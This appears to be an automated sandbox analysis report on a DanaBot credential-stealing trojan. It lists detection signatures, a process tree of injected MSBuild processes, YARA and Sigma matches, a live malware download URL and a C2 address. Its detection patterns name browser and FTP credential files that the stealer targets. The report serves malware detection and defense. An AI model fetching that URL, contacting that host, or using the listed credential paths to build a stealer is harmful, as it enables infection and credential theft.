Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Analysis ID:	1620283
MD5:	ad130f5d7280aa19d182728788364f49
SHA1:	f79109de578b9fe83a2bf63b257f7ecf129d11ff
SHA256:	58c658ce7e6aa0191b25261fe17b2a31142144fcd087db156989edd31cf05cd8
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

DanaBot

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AntiVM3

Yara detected DanaBot stealer dll

.NET source code contains potential unpacker

.NET source code contains very large array initializations

.NET source code contains very large strings

.NET source code references suspicious native API functions

Allocates memory in foreign processes

Compiles code for process injection (via .Net compiler)

Compiles code to access protected / encrypted code

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

May use the Tor software to hide its network traffic

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Silenttrinity Stager Msbuild Activity

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Queries the installation date of Windows

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Stores files to the Windows start menu directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe (PID: 1512 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe" MD5: AD130F5D7280AA19D182728788364F49)

csc.exe (PID: 6712 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 5376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 1600 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCAF7.tmp" "c:\Users\user\AppData\Local\Temp\d4fn51mh\CSC52BE803A40EF4F05BB576EF2B4BA9F7F.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

csc.exe (PID: 1128 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qufgb3bi\qufgb3bi.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 6308 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD18F.tmp" "c:\Users\user\AppData\Local\Temp\qufgb3bi\CSC4B51259C5D5E4D4C80117AD6C11BF1B.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

MSBuild.exe (PID: 3532 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 4836 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 3820 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 2300 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 5900 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe (PID: 6712 cmdline: "C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe" MD5: AD130F5D7280AA19D182728788364F49)

csc.exe (PID: 320 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\k41v4obh.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 6184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 6952 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1E67.tmp" "c:\Users\user\AppData\Local\Temp\CSCD90A6A8343E34C15A1A9FDD722DFE8F.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

csc.exe (PID: 6436 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rndl5vbf.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 1088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 3524 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES229D.tmp" "c:\Users\user\AppData\Local\Temp\CSC809BD62C40524E44BCE56D4B5EE49E7A.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

MSBuild.exe (PID: 1776 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6980 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 4784 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 5004 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 4932 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DanaBot	Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social usering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on quality over quantity in email-based threats. DanaBots modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.	SCULLY SPIDER	https://asec.ahnlab.com/en/30445/ https://asert.arbornetworks.com/danabots-travels-a-global-perspective/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.lexfo.fr/danabot-malware.html https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x32fa00:$f1: FileZilla\recentservers.xml 0x32f9bc:$f2: FileZilla\sitemanager.xml 0x35b0a2:$b1: Chrome\User Data\ 0x361ce6:$b1: Chrome\User Data\ 0x362802:$b1: Chrome\User Data\ 0x3421de:$b2: Mozilla\Firefox\Profiles 0x355fce:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x380fce:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3549b8:$b4: Opera Software\Opera Stable\Login Data 0x35b172:$b5: YandexBrowser\User Data\ 0x373c64:$s5: account.cfn 0x353e96:$s6: wand.dat 0x35394a:$a1: username_value 0x359f16:$a1: username_value 0x35a1e6:$a1: username_value 0x35c69a:$a1: username_value 0x353976:$a2: password_value 0x359f6e:$a2: password_value 0x35a23e:$a2: password_value 0x35c6f2:$a2: password_value 0x35d796:$a3: encryptedUsername
Process Memory Space: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe PID: 1512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe PID: 1512	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe PID: 1512	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: MSBuild.exe PID: 5900	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 5900	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe PID: 6712	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.MSBuild.exe.3040000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.MSBuild.exe.3040000.1.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
12.2.MSBuild.exe.3040000.1.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x32dbee:$f1: FileZilla\recentservers.xml 0x32dbaa:$f2: FileZilla\sitemanager.xml 0x359290:$b1: Chrome\User Data\ 0x35fed4:$b1: Chrome\User Data\ 0x3609f0:$b1: Chrome\User Data\ 0x3403cc:$b2: Mozilla\Firefox\Profiles 0x3541bc:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x37f1bc:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x352ba6:$b4: Opera Software\Opera Stable\Login Data 0x359360:$b5: YandexBrowser\User Data\ 0x371e52:$s5: account.cfn 0x352084:$s6: wand.dat 0x351b38:$a1: username_value 0x358104:$a1: username_value 0x3583d4:$a1: username_value 0x35a888:$a1: username_value 0x351b64:$a2: password_value 0x35815c:$a2: password_value 0x35842c:$a2: password_value 0x35a8e0:$a2: password_value 0x35b984:$a3: encryptedUsername
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
12.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x32ee00:$f1: FileZilla\recentservers.xml 0x32edbc:$f2: FileZilla\sitemanager.xml 0x35a4a2:$b1: Chrome\User Data\ 0x3610e6:$b1: Chrome\User Data\ 0x361c02:$b1: Chrome\User Data\ 0x3415de:$b2: Mozilla\Firefox\Profiles 0x3553ce:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3803ce:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x353db8:$b4: Opera Software\Opera Stable\Login Data 0x35a572:$b5: YandexBrowser\User Data\ 0x373064:$s5: account.cfn 0x353296:$s6: wand.dat 0x352d4a:$a1: username_value 0x359316:$a1: username_value 0x3595e6:$a1: username_value 0x35ba9a:$a1: username_value 0x352d76:$a2: password_value 0x35936e:$a2: password_value 0x35963e:$a2: password_value 0x35baf2:$a2: password_value 0x35cb96:$a3: encryptedUsername
12.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
12.2.MSBuild.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x32fa00:$f1: FileZilla\recentservers.xml 0x32f9bc:$f2: FileZilla\sitemanager.xml 0x35b0a2:$b1: Chrome\User Data\ 0x361ce6:$b1: Chrome\User Data\ 0x362802:$b1: Chrome\User Data\ 0x3421de:$b2: Mozilla\Firefox\Profiles 0x355fce:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x380fce:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3549b8:$b4: Opera Software\Opera Stable\Login Data 0x35b172:$b5: YandexBrowser\User Data\ 0x373c64:$s5: account.cfn 0x353e96:$s6: wand.dat 0x35394a:$a1: username_value 0x359f16:$a1: username_value 0x35a1e6:$a1: username_value 0x35c69a:$a1: username_value 0x353976:$a2: password_value 0x359f6e:$a2: password_value 0x35a23e:$a2: password_value 0x35c6f2:$a2: password_value 0x35d796:$a3: encryptedUsername
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 196.251.86.101, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 5900, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49758

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, ParentProcessId: 1512, ParentProcessName: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline", ProcessId: 6712, ProcessName: csc.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, ProcessId: 1512, TargetFilename: C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, ProcessId: 1512, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, ParentProcessId: 1512, ParentProcessName: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline", ProcessId: 6712, ProcessName: csc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://147.45.44.68/ls/thfb.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\rndl5vbf.dll	Avira: detection malicious, Label: TR/Dropper.Gen7
Source: C:\Users\user\AppData\Local\Temp\qufgb3bi\qufgb3bi.dll	Avira: detection malicious, Label: TR/Dropper.Gen7

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Virustotal: Detection: 43%			Perma Link
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	ReversingLabs: Detection: 60%

Yara detected DanaBot stealer dll

Source: Yara match	File source: 12.2.MSBuild.exe.3040000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe PID: 1512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5900, type: MEMORYSTR

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03512240 CryptAcquireContextA,CryptImportKey,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptExportKey,CryptEncrypt,CryptEncrypt,CryptEncrypt,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,CryptDestroyKey,CryptReleaseContext,	12_2_03512240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511698 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptEncrypt,CryptEncrypt,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptImportKey,CryptSignHashA,CryptSignHashA,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	12_2_03511698
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511560 CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptExportKey,CryptExportKey,CryptExportKey,CryptDestroyKey,CryptReleaseContext,	12_2_03511560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511A4C CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptAcquireContextA,CryptImportKey,CryptCreateHash,CryptHashData,CryptVerifySignatureW,CryptDecrypt,CryptDestroyHash,CryptReleaseContext,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	12_2_03511A4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03512F24 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	12_2_03512F24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03512202 CryptReleaseContext,	12_2_03512202
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035121C4 CryptReleaseContext,	12_2_035121C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035121E4 CryptDestroyKey,	12_2_035121E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03512189 CryptDestroyKey,	12_2_03512189
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03513071 CryptReleaseContext,	12_2_03513071
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03512614 CryptReleaseContext,	12_2_03512614
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03513628 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	12_2_03513628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035125D6 CryptReleaseContext,	12_2_035125D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035135CC CryptDestroyHash,	12_2_035135CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035125F6 CryptDestroyKey,	12_2_035125F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035135EA CryptReleaseContext,	12_2_035135EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035125B8 CryptDestroyKey,	12_2_035125B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03513428 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	12_2_03513428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0351194D CryptDestroyKey,	12_2_0351194D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0351196B CryptDestroyHash,	12_2_0351196B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035119CB CryptDestroyHash,	12_2_035119CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035119E9 CryptReleaseContext,	12_2_035119E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511989 CryptReleaseContext,	12_2_03511989
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_035119AD CryptDestroyKey,	12_2_035119AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0351384D CryptReleaseContext,	12_2_0351384D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0351382F CryptDestroyHash,	12_2_0351382F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511E5C CryptAcquireContextA,CryptImportKey,CryptAcquireContextA,CryptDecrypt,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptReleaseContext,	12_2_03511E5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511D7F CryptDestroyKey,	12_2_03511D7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511DDB CryptDestroyHash,	12_2_03511DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511DF9 CryptReleaseContext,	12_2_03511DF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511D9D CryptReleaseContext,	12_2_03511D9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511DBD CryptDestroyKey,	12_2_03511DBD

Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: q1C:\Users\user\AppData\Local\Temp\k41v4obh.pdb source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2486439063.0000000003391000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q1C:\Users\user\AppData\Local\Temp\rndl5vbf.pdb source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2486439063.000000000391D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\qufgb3bi\qufgb3bi.pdb source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2278155867.0000000002FED000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\qufgb3bi\qufgb3bi.pdbt- source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2278155867.0000000002FED000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.pdb source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2278155867.0000000002A61000.00000004.00000800.00020000.00000000.sdmp

